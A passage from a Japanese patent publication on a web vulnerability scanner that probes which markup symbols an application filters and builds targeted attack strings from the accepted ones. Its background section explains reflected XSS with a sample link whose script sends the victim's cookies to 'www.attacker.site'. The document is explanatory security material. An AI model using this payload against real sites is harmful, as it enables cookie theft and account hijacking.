(57)【要約】【課題】攻撃文字列の知的生成に基づくウェブアプリケーション評価のための方法を提供する。【解決手段】ウェブアプリケーションが、評価で使用される攻撃シーケンスを知的に生成することによって、より効率的に解析される。ウェブアプリケーションにおいてあらかじめ準備された静的文字列のリストを単に送信するのではなく、ウェブアプリケーションのオペレーションが解析されて、ウェブサイトのフィルタリング及び許可の特性を判断する。この情報が確認されると、許可されたシンボルの語彙が作成される。この語彙は、攻撃文字列を組み立てる際に使用され、したがって、ウェブアプリケーションに向けて放たれる攻撃文字列の個数は大幅に削減され、加えて、誤検出の個数も大幅に削減される。【選択図】  図２
2008135029.tif 000002
【特許請求の範囲】
【請求項１】
マークアップ言語ベースのウェブアプリケーションの脆弱性を評価するための方法であって、
前記ウェブアプリケーションをプローブ（probe）するステップであって、それによって、ウェブサーバによってフィルタリングされていないシンボルを識別するステップと、
前記プローブするステップの結果に基づいて攻撃文字列（attack strings）を構成するステップと
を含む方法。
【請求項２】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記ウェブアプリケーションをプローブするステップは、
前記ウェブアプリケーションへプローブを送信すること
をさらに含み、
該各プローブは、前記言語構成体の１つ又は２つ以上を含む
請求項１に記載の方法。
【請求項３】
前記ウェブアプリケーションをプローブするステップは、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記１つまたは２つ以上の言語構成体のいずれかが前記応答に含まれるか否かを判断するステップと、
前記応答に含まれる前記１つまたは２つ以上の言語構成体を、許可された言語構成体として識別するステップと
をさらに含む
請求項２に記載の方法。
【請求項４】
前記ウェブアプリケーションをプローブするステップは、
複数のシンボルを含む文字列を作成するステップと、
前記文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから前記文字列の拒否されたものを受信するステップと、
前記拒否された文字列における前記シンボルのサブセットを前記ウェブアプリケーションへ入力として再帰的に転送するステップと、
前記ウェブアプリケーションからの前記応答を解析するステップであって、それによって、前記シンボルの特定のサブセットが許可されるのか、又はフィルタリングされるのかを判断するステップと
をさらに含む
請求項１に記載の方法。
【請求項５】
まだ試験されていない前記シンボル及び許可されている前記シンボルの１つ又は２つ以上を含む次の文字列を作成するステップと、
前記次の文字列を前記ウェブアプリケーションへ送信するステップと、
前記ウェブアプリケーションから前記次の文字列の拒否されたものを受信するステップと、
前記拒否された文字列において、許可されたシンボルとしてまだ識別されていない各シンボルを単独で（on its own）前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションからの前記応答を解析するステップであって、それによって、前記次の文字列のシンボルが許可されるのか、それともフィルタリングされるのかを判断するステップと、
前記次の文字列を作成するステップから継続するステップと
をさらに含む請求項４に記載の方法。
【請求項６】
前記ウェブアプリケーションをプローブするステップは、
複数のシンボルを含む文字列を作成するステップと、
前記文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから前記文字列の拒否されたものを受信するステップと、
分割統治アルゴリズム（divide and conquer algorithm）を適用するステップであって、それによって、前記文字列の前記拒否を引き起こす前記シンボルを分離するステップと
をさらに含む
請求項１に記載の方法。
【請求項７】
前記シンボルは、用いられている攻撃技法の構成体である
請求項１に記載の方法。
【請求項８】
前記攻撃文字列を生成するステップは、
既知の攻撃文字列のデータベースにアクセスするステップと、
前記既知の攻撃文字列のデータベースから、フィルタリングされたシンボルを含まない特定の攻撃文字列を選択するステップと
をさらに含む
請求項１に記載の方法。
【請求項９】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記攻撃文字列を生成するステップは、
フィルタリングされていない前記シンボルのすべての組み合わせを含む攻撃文字列を生成するステップ
をさらに含む
請求項１に記載の方法。
【請求項１０】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記攻撃文字列を生成するステップは、
フィルタリングされていない前記シンボルの有効なすべての組み合わせを含む攻撃文字列を生成するステップ
をさらに含む
請求項１に記載の方法。
【請求項１１】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記攻撃文字列を生成するステップは、フィルタリングされていないシンボルの使用に基づいて、特定の脆弱性を対象とした攻撃文字列を生成するステップ
をさらに含む
請求項１に記載の方法。
【請求項１２】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記ウェブアプリケーションをプローブするステップは、
前記ウェブアプリケーションへプローブを送信するステップであって、該各プローブは、前記言語構成体の１つ又は２つ以上を含むステップと、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記１つまたは２つ以上の言語構成体のいずれかが前記応答に含まれるか否かを判断するステップと、
前記応答に含まれる前記１つまたは２つ以上の言語構成体を、許可された言語構成体として識別するステップと
を含み、
前記攻撃文字列を生成するステップは、
前記許可された言語構成体を使用して攻撃文字列を生成すること
をさらに含む
請求項１に記載の方法。
【請求項１３】
前記プローブを送信するステップは、前記ウェブアプリケーションの選択された個数の前記入力に対してのみ行われる
請求項１２に記載の方法。
【請求項１４】
ウェブアプリケーション脆弱性評価を行うための方法であって、
前記ウェブアプリケーションのクロール（crawl）を行うステップであって、それによって、入力フィールドを識別するステップと、
前記ウェブアプリケーションの前記入力フィールドの入力として使用できるシンボルのドメインを識別するステップと、
前記シンボルのいずれが前記ウェブアプリケーションによってフィルタリングされるのか及び該シンボルのいずれが該ウェブアプリケーションによって受け付けられるのかを判断するステップと、
前記ウェブアプリケーションによって受け付けられている前記シンボルから成る語彙を組み立てるステップと、
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップと、
前記ウェブアプリケーションへ前記攻撃文字列を送信するステップと、
前記攻撃文字列を送信するステップによってカバーされないあらゆる脆弱性を識別するステップと
を含む方法。
【請求項１５】
前記いずれのシンボルが前記ウェブアプリケーションによってフィルタリングされるのか及びいずれのシンボルが該ウェブアプリケーションによってエコーされるのかを判断するステップは、
第１の文字列を作成するステップであって、該第１の文字列は、１つ又は２つ以上のシンボルを含むステップと、
前記第１の文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記ウェブアプリケーションによってエコーされたシンボル及び該ウェブアプリケーションによってフィルタリングされるシンボルを識別するステップと
をさらに含む
請求項１４に記載の方法。
【請求項１６】
次の文字列を作成するステップであって、該次の文字列は、フィルタリングされたシンボルであるとまだ判断されていない１つ又は２つ以上のシンボルを含むステップと、
前記次の文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記ウェブアプリケーションによってエコーされたシンボル及び該ウェブアプリケーションによってフィルタリングされるシンボルを識別するステップと、
すべてのシンボルが、エコーされるもの又はフィルタリングされるものとして識別されるまで、前記生成するステップで継続するステップと
をさらに含む請求項１５に記載の方法。
【請求項１７】
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップは、前記次の文字列を生成するステップと同じステップとすることができる
請求項１６に記載の方法。
【請求項１８】
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップは、前記語彙が完全に組み立てられるまで行われない
請求項１６に記載の方法。
【請求項１９】
静的な攻撃文字列のデータベースが設けられ、
前記１つまたは２つ以上の攻撃文字列を生成するステップは、
前記静的な攻撃文字列から、前記語彙のシンボルで構成される攻撃文字列を選択すること
をさらに含む
請求項１４に記載の方法。
【請求項２０】
ウェブアプリケーション脆弱性評価を行うための方法であって、
利用可能なシンボルのドメインの中のシンボルのいずれがウェブアプリケーションの入力サーバによってフィルタリングされるか、及び、該シンボルのいずれが該ウェブアプリケーションの該入力サーバによって受け付けられるかを判断するステップと、
前記ウェブアプリケーションによって受け付けられている前記シンボルから成る語彙を組み立てるステップと、
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップと、
前記攻撃文字列を使用することによって、前記ウェブアプリケーションの前記脆弱性を評価するステップと
を含む方法。
【請求項２１】
前記利用可能なシンボルのドメインは、前記ウェブアプリケーションのウェブページを生成するのに使用される前記マークアップ言語の構成体であり、
前記シンボルのいずれがウェブアプリケーションの入力サーバによってフィルタリングされるか、及び、該シンボルのいずれが該ウェブアプリケーションの該入力サーバによって受け付けられるかを判断するステップは、
前記ウェブアプリケーションへ前記シンボルの１つ又は２つ以上をプローブで送信するステップと、
前記プローブにおける前記シンボルの１つ又は２つ以上のエコーを含む応答を前記ウェブアプリケーションから受信するステップと、
前記応答を解析するステップであって、それによって、いずれのシンボルがエコーバックされたかを識別するステップと
を含む
請求項２０に記載の方法。
【請求項２２】
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップは、
前記語彙に含まれる前記マークアップ言語の構成体を使用して攻撃文字列を組み立てること
をさらに含む
請求項２０に記載の方法。
【請求項２３】
前記利用可能なシンボルのドメインは、用いられている前記攻撃技法の前記構成体であり、
前記シンボルのいずれがウェブアプリケーションの入力サーバによってフィルタリングされるか、及び、該シンボルのいずれが該ウェブアプリケーションの該入力サーバによって受け付けられるかを判断するステップは、
前記ウェブアプリケーションへ前記シンボルの１つ又は２つ以上をプローブで送信するステップと、
前記プローブが受け付けられたのか、又は拒否されたのかを示す応答を前記ウェブアプリケーションから受信するステップと、
前記プローブにおける前記１つまたは２つ以上のシンボルを分離するアルゴリズムを適用するステップであって、それによって、さらなるプローブを送信し、それにより、前記拒否を引き起こしている前記シンボルを分離するステップと
を含む
請求項２０に記載の方法。
【発明の詳細な説明】
【技術分野】
【０００１】
本発明は、ウェブサイト解析の分野に関し、より具体的には、ウェブサイトのオペレーションの特性のいくつかに基づいて攻撃文字列を動的に生成することによりサイトを評価する速度及び性能を改善するウェブサイト解析ツールに関する。
【背景技術】
【０００２】
［関連出願］
この出願は、出願番号第１１／５６０，９８４号を割り当てられ、代理人整理番号第１９００６．１０９０号によって識別される２００６年１１月１７日に出願された「CHARACTERIZATION OF WEB APPLICATION INPUTS」と題する米国特許出願、及び、出願番号第１１／５６０，９２９号を割り当てられ、代理人整理番号第１９００６．１０７０号によって識別される２００６年１１月１７日に出願された「IMPROVED WEB APPLICATION AUDITING BASED ON SUB-APPLICATION IDENTIFICATION」と題する米国特許出願に関連し、これらの出願を参照により援用する。これらの出願の双方は、本発明と同じエンティティに譲渡されている。
【０００３】
パーソナルコンピュータのインターネットサーフィングによって容易にされた情報の自由な交換により、さまざまな危険が、その情報をホスティングする組織、さらには、その情報を所有する組織に引き起こされている。この脅威は、ワールドワイドウェブ上でホスティングされ且つ世界のあらゆる場所に位置するほとんどあらゆるパーソナルコンピュータによってアクセス可能な対話型アプリケーションで最も広まっている。ウェブアプリケーションは、多くの形、すなわち、情報ウェブサイト、イントラネット、エクストラネット、電子商取引ウェブサイト、エクスチェンジ、検索エンジン、トランザクションエンジン、又は電子ビジネスの形を取ることができる。これらのアプリケーションは、通常、会社に危険を引き起こす可能性のある弱点を含んだコンピュータシステムにリンクされている。弱点は、システムアーキテクチャ、システム構成、アプリケーション設計、実施構成、及びオペレーションに存在する可能性がある。危険には、計算の誤りの可能性、ハードウェア及びソフトウェアの損傷の可能性、認可されていないユーザによるデータのアクセスの可能性、データの窃盗又は損失の可能性、システムの悪用の可能性、及びビジネスオペレーションの混乱の可能性が含まれる。
【０００４】
デジタル企業が、電子ビジネスの利益を取り入れるにつれて、ウェブベース技術の使用が増大し続ける。今日の法人企業は、それらの法人企業の顧客関係を管理する方法としてウェブを使用し、それらの法人企業のサプライチェーンオペレーションを向上させ、新しい市場に拡大し、顧客及び従業員へ新製品及び新サービスを配備する。しかしながら、ウェブアプリケーションセキュリティの一貫した手法がなければ、ウェブベース技術の強力な利益の実施の成功は、大幅に遅れる可能性がある。
【０００５】
当業界の部外者は、ハッカーが、大量消費者の電子商取引のサイト及びポータルからＮＡＳＡやＣＩＡ等の政府機関に至るまで、ほとんどあらゆる商用ウェブサイトを日常的に攻撃していることを知って驚く場合がある。従来、セキュリティ違反の大部分は、法人企業システムのネットワークレイヤで起こっていた。一方、今日、ハッカーは、法人企業ファイアウォールの内部のウェブアプリケーションを操作しており、それによって、ハッカーが法人企業データ及び顧客データにアクセスして破壊することを可能にしている。会社のウェブアプリケーションコードにごく小さなホールがあっても、ウェブブラウザ（及び少しの決意）さえ備えていれば、経験豊かな侵入者は、ほとんどの商用ウェブサイトに入り込むことができる。
【０００６】
問題は、当業界を監視する者が理解しているものよりもはるかに大きい。多くの米国企業は、ウェブアプリケーションレベルのオンラインアクティビティさえも監視していない。このセキュリティの欠如によって、攻撃が試みられたことさえも気付かれずに済ますことが可能になる。これによって、会社は、反応型セキュリティ体制に置かれる。反応型セキュリティ体制では、事態が発生するまで、何も解決されない。反応型セキュリティは、ポリシー変更の触媒として機密データを犠牲にすることを意味し得る。
【０００７】
新しいレベルのセキュリティ違反は、連続的にオープンしているインターネットポート（一般ウェブトラフィック用のポート８０及び暗号化されたトラフィック用のポート４４３）を通じて起こり始めてきた。これらのポートは、外部から到来するすべてのインターネットトラフィックに対してオープンしているので、ハッカーがセキュアファイル並びに独自の法人企業データ及び顧客データにアクセスできるゲートウェイである。悪質なハッカーがニュースに取り上げられているが、オンライン窃盗、オンラインテロ、及びオンラインスパイ活動の形の脅威の可能性の方がはるかに高く存在する。
【０００８】
今日、ハッカーは、企業の一歩先を行っている。法人企業は、自身のセキュリティポリシーの開発に急ぎ、基本的なセキュリティ基盤も実施している一方、プロのハッカーは、新たな攻撃方法を発見し続けている。ほとんどのハッカーは、「独創的な（out-of-the-box）」セキュリティホールを使用して、段階的に高められた特権を取得したり、会社のサーバ上でコマンドを実行したりしている。既製のウェブアプリケーションを単に間違って構成することにより、疑うことを知らない会社のウェブサイトにセキュリティ脆弱性の穴が開いたままになる。
【０００９】
パスワード、ＳＳＬ及びデータ暗号化、ファイアウォール、並びに標準的なスキャンプログラムは十分でない場合がある。パスワードは、破られる可能性がある。ほとんどの暗号化は、データ伝送しか保護しない。しかしながら、ウェブアプリケーションデータの大部分は、可読形式で記憶される。ファイアウォールは、開口部を有する。スキャンプログラムは、一般に、独自のアプリケーション並びにカスタムウェブページ及びカスタムスクリプトではなく、標準的なサーバ及びアプリケーション上の既知の脆弱性についてネットワークをチェックする。
【００１０】
プログラマは、通常、セキュリティを考慮に入れてウェブアプリケーションを開発することはない。その上、ほとんどの会社は、自身のウェブサイト又はウェブアプリケーションの開発の大部分を、サードパーティ開発資源を使用して外注し続けている。これらの開発グループが個人であろうとコンサルタント会社であろうと、ほとんどのプログラマが、開発計画の「特徴及び機能」の側面に集中し、セキュリティがコーディングの実施に組み込まれていることを前提としているということである。しかしながら、これらのサードパーティ開発資源は、通常、コアセキュリティの専門的知識さえも有しない。また、サードパーティ開発資源は、「安全な解決策」を実施するのに必要とされるセキュリティの綿密な検査には役に立たない、迅速な開発スケジュール等の一定の目的も有する。
【００１１】
ウェブアプリケーションを操作することは簡単である。ハッカーが、製品価格を示す隠しフォームフィールド（hidden form field）を見つけて変更することは、多くの場合、比較的簡単である。同様の技法を使用すると、ハッカーは、コモンゲートウェイインターフェース（ＣＧＩ）スクリプトのパラメータを変更して、製品価格の代わりにパスワードファイルを検索することもできる。検索機能等、ウェブアプリケーションのいくつかのコンポーネントが、正しく統合されず且つ構成されていない場合、そのサイトは、ハッカーが管理ページにアクセスすることを認めることを可能にするバッファオーバーフロー攻撃を受ける可能性がある。今日のウェブアプリケーションのコーディングの実施は、認可されていないアクセスから会社及びそのデータを安全に保つのに必要とされる最も基本的なセキュリティ対策のいくつかを大いに無視している。
【００１２】
開発者及びセキュリティのプロは、標準的なアプリケーション及び独自のアプリケーションの双方においてホールを検出できなければならない。次に、開発者及びセキュリティのプロは、セキュリティホールの重大さを査定して、優先順位付けされた解決策を提案することができ、それによって、組織は、既存のアプリケーションを保護し、新しいソフトウェアを素早く実施することが可能になる。通常のプロセスは、ウェブ接続されたデバイス上のすべてのアプリケーションを査定し、既存のセキュリティ脆弱性及び潜在的なセキュリティ脆弱性についてアプリケーションロジックの各ラインを検査することを伴う。
【００１３】
ウェブアプリケーション攻撃は、通常、５つのフェーズ、すなわち、デフォルトページのポートスキャン、サーバタイプ及びアプリケーションロジックについての情報収集、アプリケーション機能の体系的試験、攻撃の計画、及び攻撃の開始を伴う。攻撃の結果は、データ喪失、コンテンツ操作、さらには顧客データの窃盗及び喪失となる可能性がある。
【００１４】
ハッカーは、多数の技法を用いて、ウェブアプリケーションを悪用することができる。いくつかの例には、パラメータ操作、強制パラメータ（forced parameter）、クッキーの不正変更、共通ファイル照会（common file query）、既知のセキュリティの弱点の使用、ディレクトリ列挙、ウェブサーバ試験、リンクトラバーサル、パストランケーション（path truncation）、セッションハイジャック、隠しウェブパス、Ｊａｖａ（登録商標）アプレットリバースエンジニアリング、バックアップチェック、拡張子チェック、パラメータ渡し、クロスサイトスクリプティング、及びＳＱＬインジェクションが含まれる。
【００１５】
評価ツールは、ウェブアプリケーションの脆弱性及びウェブサイトの脆弱性の詳細な解析を提供する。図１は、評価ツールの一般的構造のシステム図である。ウェブ評価インターフェース１００を通じて、ユーザは、ネットワーク１２０上で利用可能なウェブサーバ又は宛先システム１１０に存在するどのアプリケーション、サイト、又はウェブサービスを解析するかを指定する。ユーザは、評価のタイプを選択し、どのポリシーを使用するかを選択し、ＵＲＬを入力し、それから、プロセスを開始する。
【００１６】
評価ツールは、ソフトウェアエージェント１３０を使用して、脆弱性評価を行う。ソフトウェアエージェント１３０は、ツールが、誤検出を最小にしながら、知的アプリケーションレベル脆弱性チェックを適用して、セキュリティの問題を正確に特定することを可能にする高度なヒューリスティックセットから成る。ツールは、ソフトウェアエージェントを使用してアプリケーションのクロールフェーズ（crawl phase）を開始し、すべてのエリアのカタログを動的に作成する。これらのエージェントがそれらの評価を完了すると、結果を解析できるように、見つかったものは評価データベース１４０を通じてメインセキュリティエンジンへ報告される。次に、ツールは、他のソフトウェアエージェントを起動することによって監査フェーズに入る。これらの他のソフトウェアエージェントは、収集された情報を査定し、攻撃アルゴリズムを適用して、脆弱性の存在及び重大さを判断する。次に、ツールは、結果を相関させ、それらの結果を、理解するのに容易なフォーマットで報告インターフェース１５０に提示する。
【００１７】
ウェブアプリケーションに対するよく知られている攻撃の１つは、クロスサイトスクリプティング、すなわちＸＳＳと呼ばれているものである。ＸＳＳは、ウェブアプリケーションのユーザについての個人情報又は悪意のある情報を収集するためにウェブアプリケーションに対して使用される技法であり、ハッカーが、ウェブアプリケーション内に不法侵入するのに使用する最も一般的なアプリケーションレベル攻撃の１つである。ＸＳＳは、攻撃者に加えて、ウェブアプリケーション及びユーザを伴う三者攻撃である。
【００１８】
ＸＳＳ攻撃が入る時に通る基本的な扉は、脆弱なサイトに存在する脆弱なスクリプトである。この脆弱なスクリプトは、ＨＴＴＰ要求を受け取るように動作し、次に、そのＨＴＴＰ要求を、その要求を送信したページにエコーバックする。ＨＴＴＰ要求のエコーは、全エコーの場合もあるし、部分エコーの場合もあるが、いずれの場合も、スクリプトは、ＨＴＴＰ要求をエコーバックする前に、まずＨＴＴＰ要求の内容をきれいに（sanitize）しないので、脆弱性が存在する。したがって、ＨＴＴＰ要求が、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔコード又はＨＴＭＬタグ等の悪意のあるオブジェクトを含んでいる場合、これらのオブジェクトは、受信側ブラウザが作動させることができ、損傷を引き起こしたり、ユーザのプライバシーを侵害したりすることができる。
【００１９】
当業者は、ＸＳＳを使用して悪用できるさまざまな技法及び脆弱性に精通しているだろうが、明瞭にするために、ＸＳＳ攻撃の具体例を提示する。多くのウェブサイトは、そのウェブサイトにログインした後又はそのウェブサイトにアクセスした時に提示されるウェルカムページを含む。ウェルカムスクリプト（すなわち、Ｗｅｌｃｏｍｅ．ｃｇｉ）は、一般に、パラメータ［名前］を受け取り、実行されると、ウェルカムメッセージをユーザに提供する。ウェブアプリケーションへ送信される要求は、一般に、
GET /welcome.cgi?name=WORLD HTTP/1.0
host: www.targetwebsite.com
として構造化される。
【００２０】
この要求を受信すると、www.targetwebsite.comのウェブアプリケーションは、以下の応答で応じる。
<HTML>
<Title>Welcome to the TargetWebsite</Title>
HELLO WORLD
<BR>
...
</HTML>
【００２１】
ＸＳＳ攻撃を使用してこの能力を悪用するために、ハッカーは、特別に構造化されたリンクを、ユーザがアクティブ化するのに便利なロケーションに配置する。このような配置には、電子メールメッセージ内、又は、電子メールメッセージからアクセスされるウェブサイト若しくはユーザによってブラウジングされる可能性のあるウェブサイトが含まれ得る。基本的には、このリンクは、名前のパラメータ値を、ユーザのブラウザにエコーされるとすぐに実行されるＪａｖａ（登録商標）Ｓｃｒｉｐｔに置き換えるものである。一般に、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔは、クライアントブラウザが前に作成して、ターゲットウェブサイトに関連付けられたクッキーにアクセスするのに使用される。Ｊａｖａ（登録商標）Ｓｃｒｉｐｔからのセキュリティモデルは、特定のサイトから到着するスクリプトが、そのサイトに属するクッキーにアクセスすることを可能にし、ブラウザは、ターゲットウェブサイトから来るＪａｖａ（登録商標）Ｓｃｒｉｐｔを単に受けるだけであるので、それらのクッキーは、この攻撃に対して脆弱にされる。特別に構造化されたリンクは、以下のように見える場合がある。
http://www.target.site/welcome.cgi?name=<script>window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script>
【００２２】
ユーザが悪意のあるリンクをアクティブ化すると、ブラウザは、以下の要求を生成する。
GET /welcome.cgi?name=<script>window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script>HTTP/1.0
Host:www.target.site
【００２３】
この要求に応答して、ターゲットウェブサイトは、以下の応答を提供する。
<HTML>
<Title>Welcome to the TargetWebsite</Title>
Hello<script>windows.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>
<BR>
...
</HTML>
【００２４】
ユーザのブラウザは、この応答を受信して、１つのＪａｖａ（登録商標）Ｓｃｒｉｐｔコードを含むＨＴＭＬページとしてこの応答を解釈する。次に、ブラウザは、このＪａｖａ（登録商標）Ｓｃｒｉｐｔコードを積極的に実行する。このＪａｖａ（登録商標）Ｓｃｒｉｐｔコードは、次に、ターゲットウェブサイトに属するすべてのクッキー又はターゲットウェブサイトに関連付けられているすべてのクッキーへのアクセスを可能にし、次いで、攻撃者のウェブサイト上のスクリプト、すなわち、クッキーをパラメータとして受け取るcollect.cgiを起動することによって、それらのクッキーを攻撃者のウェブサイトへ送信する。
【００２５】
このように、ハッカーは、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔ、ＶＢＳｃｒｉｐｔ、ＡｃｔｉｖｅＸ、ＨＴＭＬ、又はＦｌａｓｈを脆弱なウェブアプリケーションに注入して、ユーザに損害を与え、ユーザから情報を得ることができる。この情報は、アカウントハイジャック、ユーザ設定の変更、クッキーの窃盗／改ざん、又は虚偽広告になる可能性がある。ハッカーは、ＸＳＳ攻撃を毎日のように行う新たな方法を作成している。
【００２６】
通例、静的チェックを有する脆弱性データベースを使用することは、成功する手法であった。今日のウェブアプリケーション及びウェブサービスの評価製品は、ＸＳＳ及びＳＱＬインジェクションのようなセキュリティ脆弱性について数千もの静的チェックを売り物にしている。ウェブアプリケーション評価ソフトウェアベンダは、基本的には、ほとんどのチェックを有する最良の脆弱性データベースを作成して市場で売買するように努力してきた。しかしながら、ウェブアプリケーション及びそれらの機能がスケール及び複雑さにおいて増大したことから、標準的なウェブアプリケーションスキャン方法論に関する問題が増加してきた。当業界が、現在、増加するチェックに取り組む速度によれば、脆弱性データベースは、数年で数万個の静的チェックを有することになる。アプリケーションのスキャン時間は、脆弱性データベースの追加の各チェックと共に線形に拡大するので、その多くのチェックでは、アプリケーションスキャンを実行するのに必要な時間はかなり大きくなる。したがって、脆弱性評価ツールの有効性を損なうことなく、このような脆弱性を識別するのに必要な時間を大幅に減少させる新しい技術が、当該技術分野及び関連業界で必要とされている。
図２は、クロスサイトスクリプティングのインスタンスを探し出している時に、従来のウェブアプリケーションスキャン脆弱性評価がどのように行われるかを示す概念図である。ダイアログボックスをオープンできるか否かを調べるために、同じ攻撃が、アプリケーションの「クロール」中に発見されたすべての入力手段に対して繰り返しサブミットされ、このことは、アプリケーションが、クロスサイトスクリプティングの影響を確かに受けやすいことを示す。たとえ、ウェブアプリケーションが、「＞」等の潜在的に悪意のある文字をフィルタリングしても、その文字を含む複数の攻撃が依然としてサブミットされる。したがって、現時点で最新の脆弱性評価ツールに関していくつかの問題があり、それによって、当該技術分野では、改善された方法論の必要性が生み出されている。
【００２７】
当該技術分野に存在するニーズ又は問題の１つは、静的チェックを使用する従来の手法が、その課題を解決する際に「インテリジェンス」の適用を欠いているということである。評価ツールにおける標準的な「バルク」手法は、イエス又はノー及びサブミットされている純粋な数の脆弱性シグネチャ以外のインテリジェンスもロジックも利用しない「オールオアナッシング」方法論を適用する点で、非常に限定的である。当該技術分野の状態に存在する別の問題は、評価に時間がかかりすぎるということである。前述したように、潜在的な脆弱性及びそれらの変形形態の個数は、絶えず増大している。この状況に対処するには、静的チェックのリストが長いほど、静的チェックのそれぞれがアプリケーションに対してサブミットされなければならず、スキャン時間は遅くなることを意味する。スキャンの精度を確保するだけでも、静的チェックの大きなデータベースを要する。当該技術分野のさらに別の問題は、現在の技術を使用すると、非常に多くの誤検出が生成されるということである。ウェブの脆弱性及び技術は時間と共に変化するので、チェックが正確であり続けることは困難である。脆弱性シグネチャは、「ハードコード化」されて静的であり、技術に大きく依存している。基本的には、サーバが何で応答しているかについて、脆弱性シグネチャを動的にすることも知的にすることもできない。これは、自動化された評価ツールが、実際には存在しない脆弱性にフラグを立てるときに非常に多くの「誤検出」につながる可能性がある。各誤検出は、手作業で検証しなければならず、これは、多くの時間を要するタスクである。
【発明の開示】
【発明が解決しようとする課題】
【００２８】
このように、当該技術分野では、評価を行う静的手法にだけ依拠するのではなく、評価を行う際にインテリジェンスを実際に適用できる、脆弱性評価を行うための方法及びシステムが必要とされている。このような解決策は、評価を行う際に行わなければならないチェックの回数の削減を可能にすべきであり、性能を改善すべき、すなわち、評価を行うのに必要とされる時間を削減すべきであり、且つ、誤検出の発生を低減するのに役立つべきである。したがって、正確ではあるが今日の技術よりも高速且つ効率的な方法でウェブサイト及びウェブアプリケーションを解析する複雑さが増加の一途をたどっているが、当該技術分野では、この増加の一途をたどる複雑さに取り組むことができるウェブサイト及びウェブアプリケーションの評価ツールが必要とされている。本明細書で説明する本発明は、このような解決策を提供する。
【課題を解決するための手段】
【００２９】
本発明は、さまざまな特徴及び態様を含むが、一般に、ウェブアプリケーションを査定し又はウェブアプリケーションを評価して、ウェブアプリケーションが何らかの脆弱性を有するか否かを判断する技法を対象とする。背景のセクションで説明したように、ウェブアプリケーション及びウェブサイトに対して開始される非常に一般的な攻撃は、ＸＳＳ攻撃を使用したものである。これらの攻撃は、開始するのが比較的容易であり、多くのウェブサイト及びウェブアプリケーションがこれらのタイプの攻撃にかなり脆弱であることが分かっている。ウェブサイト又はウェブアプリケーションを評価して、このような攻撃に対する脆弱性を識別することは、非常に必要なプロセスであるが、かなり多くの時間を消費する。本発明は、ウェブアプリケーションのこのような評価を、ウェブ評価ツールの効率性及び有効性を大幅に改善した方法で行うことを可能にする。本発明の一態様は、ウェブアプリケーションの入力をプローブ（probe）して、どのマークアップ言語構成体がウェブアプリケーションによってフィルタリングされるかを判断することである。本発明は、ウェブサーバが、一般に、ウェブアプリケーションにわたって一貫的であるようにし、したがって、一定の構成体又は言語コンポーネントがウェブアプリケーションの或る入力によってフィルタリングされる場合、これらの同じ構成体又はコンポーネントは、ウェブアプリケーションの類似の入力によってフィルタリングされるということを利用する。加えて、静的攻撃文字列をウェブアプリケーションの入力に向けて網羅的に放つのではなく、本発明は、文字列がいつ拒否されるのか、文字列がなぜ拒否されるのかを判断し、次に、評価においてその手法を変更する。評価に対するこの変更は、基本的に、ウェブアプリケーションの以前に監視された特性に基づいて間違いなく拒否されるさらなる攻撃を省略することから成る。
【００３０】
したがって、一般に、本発明の一実施の形態は、まず、ウェブアプリケーションをプローブして、ウェブサーバによりフィルタリングされないシンボルを識別し、次に、プローブするステップの結果に基づいて攻撃文字列を構成することによって、マークアップ言語ベースのウェブアプリケーションの脆弱性を評価するように動作する。
【００３１】
より具体的には、本発明は、ウェブアプリケーションを知的に解析するウェブアプリケーション脆弱性評価ツールである。これは、まず、ウェブアプリケーションのクロールを行って、入力フィールドを識別することにより行われる。加えて、ウェブアプリケーションの入力フィールドの入力として使用できるシンボルのドメインが識別される。このドメインは、評価ツールに提供される可能性があり、あるいは、ウェブサイトの言語を識別し、且つその言語の構成体をドメインとして使用することにより、評価ツールによって生成される可能性がある。次に、シンボルのいずれがウェブアプリケーションによってフィルタリングされ、いずれがウェブアプリケーションによって受け付けられるのかに関する判断が行われる。フィルタリングされたシンボルは、基本的に、トスされて（tossed）役に立たないが、受け付けられたシンボルは、語彙を組み立てるのに使用される。この語彙を使用して、攻撃文字列が生成される。次に、これらの攻撃文字列は、ウェブアプリケーションへ送信され、応答がレビューされて、ウェブアプリケーションに存在し得る何らかの脆弱性が判断される。
【００３２】
